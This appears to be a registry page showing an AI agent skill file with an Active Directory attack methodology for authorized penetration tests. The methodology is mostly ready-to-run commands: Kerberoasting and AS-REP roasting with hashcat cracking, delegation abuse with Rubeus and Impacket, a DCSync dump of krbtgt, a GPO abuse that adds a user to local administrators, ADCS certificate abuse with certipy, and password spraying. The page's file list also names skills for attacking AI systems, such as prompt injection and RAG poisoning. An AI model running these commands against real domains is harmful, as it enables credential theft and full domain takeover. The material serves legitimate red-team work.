active-directory
Skill0 starsChanged 17 days agoMITView on GitHub
On-prem Active Directory attack methodology for authorized engagements: BloodHound graph enumeration, Kerberoasting, AS-REP roasting, DCSync, delegation abuse (unconstrained/constrained/RBCD), GPO abuse, and domain privilege escalation paths. Keywords: Active Directory, AD, Kerberos, BloodHound, Kerberoasting, AS-REP, DCSync, delegation, GPO, domain admin, NTLM relay. Do NOT use for Azure AD / Entra ID cloud-only tenants (see azure-attack), or for single-host Windows privesc with no domain context (see windows-privesc).
2 other projects use a version of this.
Adopted by
Most recently taken up by
- opentidehq/skillstheir own version, first seen Nov 29, 2026
- Evaluris-Solutions/claude-active-directorytheir own version, first seen May 6, 2026
Other versions2 projects use a version of this.
Word for word · 0
None found.
Edited · 0
None found.
Wrote their own version · 2
- Evaluris-Solutions/claude-active-directory★ 16same name
- opentidehq/skills★ 1same name
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository155 other files it gives its agents.
- CLAUDE.mdCLAUDE.md
- ai-agent-reconSkill
- ai-red-team-bridgeSkill
- ai-supply-chainSkill
- exfiltration-via-aiSkill
- indirect-injectionSkill
- llm-fuzzingSkill
- prompt-injectionSkill
- rag-poisoningSkill
- sysprompt-analysisSkill
- tool-abuseSkill
- chain-analysisSkill
- chain-auth-to-takeoverSkill
- chain-customSkill
- chain-graph-walkSkill
- chain-idor-to-mass-dataSkill
- chain-info-to-exploitSkill
- chain-multi-appSkill
- chain-ssrf-to-cloudSkill
- chain-web-to-rceSkill
- chain-xss-to-account-takeoverSkill
- artifact-cleanupSkill
- credential-hygieneSkill
- data-retentionSkill
- email-securitySkill
- engagement-flowSkill
- evidence-sealSkill
- finding-disciplineSkill
- http-headers-securitySkill
- oob-interactionsSkill
- opsec-disciplineSkill
- research-firstSkill
- scope-disciplineSkill
- scope-importSkill
- session-contextSkill
- security-policy-parserSkill
- 2fa-bypassSkill
- 403-bypassSkill
- api-abuseSkill
- aspnetSkill
- auth-bypassSkill
- authz-matrixSkill
- broken-access-controlSkill
- business-logicSkill
- cache-poisoningSkill
- captcha-bypassSkill
- clickjackingSkill
- corsSkill
- credential-testingSkill
- crlf-injectionSkill
- cryptographic-oracleSkill
- csrfSkill
- css-injectionSkill
- data-exfiltration-testSkill
- deserializationSkill
- dom-basedSkill
- email-injectionSkill
- exceptional-conditionsSkill
- file-uploadSkill
- fuzzingSkill
- The first 60 shown.
The file
Files
Signals
- Internal network with Kerberos (TCP/UDP 88), LDAP (389/636), SMB (445) reachable.
- A foothold (any domain-joined host, even low-priv) or valid domain credentials from phishing/initial access.
whoami /fqdnornltest /dsgetdc:on a compromised host confirms domain membership.
Prerequisites
- Written authorization explicitly covering "Active Directory domain" / "internal network" testing, not just external web assets — AD testing is inherently disruptive-adjacent (password spraying can lock accounts).
- At least one domain-joined foothold OR one valid domain credential (even a guest/low-priv service account).
Impacket,BloodHound(CE) + Neo4j,Rubeus,mimikatz,NetExec(successor to crackmapexec),PowerView/PowerSploit,certipyfor ADCS.
Methodology
1. Unauthenticated/low-priv enumeration
# Null session / anonymous LDAP check
netexec smb target-dc.target.local -u '' -p '' --shares
nxc ldap target-dc.target.local -u '' -p ''
# Domain user enumeration via Kerberos (no creds needed for AS-REP pre-auth check)
kerbrute userenum --dc target-dc.target.local -d target.local userlist.txt2. Collect the graph
# SharpHound / BloodHound.py collection (needs valid creds)
bloodhound-python -u lowpriv -p 'Password1' -d target.local -ns 10.10.10.10 -c All
# Load the .json output into BloodHound CE and query:
# Shortest Paths to Domain Admins
# Kerberoastable users
# Unconstrained delegation computers3. Kerberoasting
impacket-GetUserSPNs target.local/lowpriv:'Password1' -dc-ip 10.10.10.10 -request -outputfile roast.txt
hashcat -m 13100 roast.txt /usr/share/wordlists/rockyou.txt4. AS-REP roasting (accounts with "Do not require Kerberos preauthentication")
impacket-GetNPUsers target.local/ -usersfile userlist.txt -no-pass -dc-ip 10.10.10.10 -outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt5. Delegation abuse
# Unconstrained delegation: wait for/coerce a DA to auth, then extract their TGT from memory
Rubeus.exe monitor /interval:5 /filteruser:DomainAdmin
# Constrained delegation abuse (S4U2Self/S4U2Proxy)
impacket-getST -spn cifs/target-fileserver.target.local -impersonate Administrator target.local/svc-delegated:'Password1'
# Resource-Based Constrained Delegation (RBCD) — requires write access to a computer object's msDS-AllowedToActOnBehalfOfOtherIdentity
impacket-rbcd -delegate-to 'TARGET-SRV$' -delegate-from 'attacker-controlled-pc$' -action write target.local/user:'Password1'6. DCSync (requires Replicating Directory Changes rights)
impacket-secretsdump target.local/da-equiv-user:'Password1'@target-dc.target.local -just-dc-ntlm
# or via mimikatz on a foothold with the right rights
mimikatz # lsadump::dcsync /domain:target.local /user:target\krbtgt7. GPO abuse (write access to a GPO linked to a privileged OU)
# Identify via BloodHound: GenericWrite/WriteDacl on a GPO object
# Use SharpGPOAbuse or pyGPOAbuse to add an immediate scheduled task / startup script
SharpGPOAbuse.exe --AddComputerTask --TaskName "update" --Author target\\Administrator --Command "cmd.exe" --Arguments "/c net localgroup administrators lowpriv /add" --GPOName "Vulnerable GPO"
gpupdate /force # on the target (or wait for scheduled refresh)8. ADCS (certificate services) abuse if present
certipy find -u lowpriv@target.local -p 'Password1' -dc-ip 10.10.10.10 -vulnerable
# ESC1 example: template allows requester-supplied SAN
certipy req -u lowpriv@target.local -p 'Password1' -ca target-CA -template VulnTemplate -upn administrator@target.local9. Password spraying (rate-limited, lockout-aware)
netexec smb target.local -u users.txt -p 'Spring2024!' --continue-on-success
# ALWAYS check lockout policy first
netexec smb target-dc.target.local -u lowpriv -p 'Password1' --pass-polTooling
BloodHound CE + SharpHound/bloodhound-python, Impacket suite, Rubeus, mimikatz, NetExec, PowerView, certipy, kerbrute, hashcat.
Validation Gate
- Kerberoast/AS-REP hashes are Inferred findings until actually cracked or confirmed usable (hash extraction alone doesn't prove a weak password) — label accordingly per project CLAUDE.md evidence rules.
- DCSync / delegation abuse must be demonstrated end-to-end (actual TGT/ticket obtained and actually used to access a resource as the target principal), not just "BloodHound shows the edge."
- Record the exact LDAP/Kerberos query or tool output with timestamp for every edge exploited.
Gotchas
- Password spraying WILL lock out accounts if you don't check the lockout threshold first — this is a human gate per project rules (destructive/stateful action on target).
krbtgtDCSync is the most sensitive single action in an AD engagement (enables Golden Ticket for persistent domain compromise) — confirm explicit operator sign-off before executing, even if technically in scope.- BloodHound "shortest path" edges can be stale if ACLs changed since collection — re-verify the actual ACL/right before exploiting, especially on a multi-day engagement.
- AS-REP roasting only works on accounts with preauth disabled — don't assume all users are roastable.
- Clock skew >5 min between attacker and DC breaks Kerberos ticket requests — sync time first (
ntpdateorrdate).
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

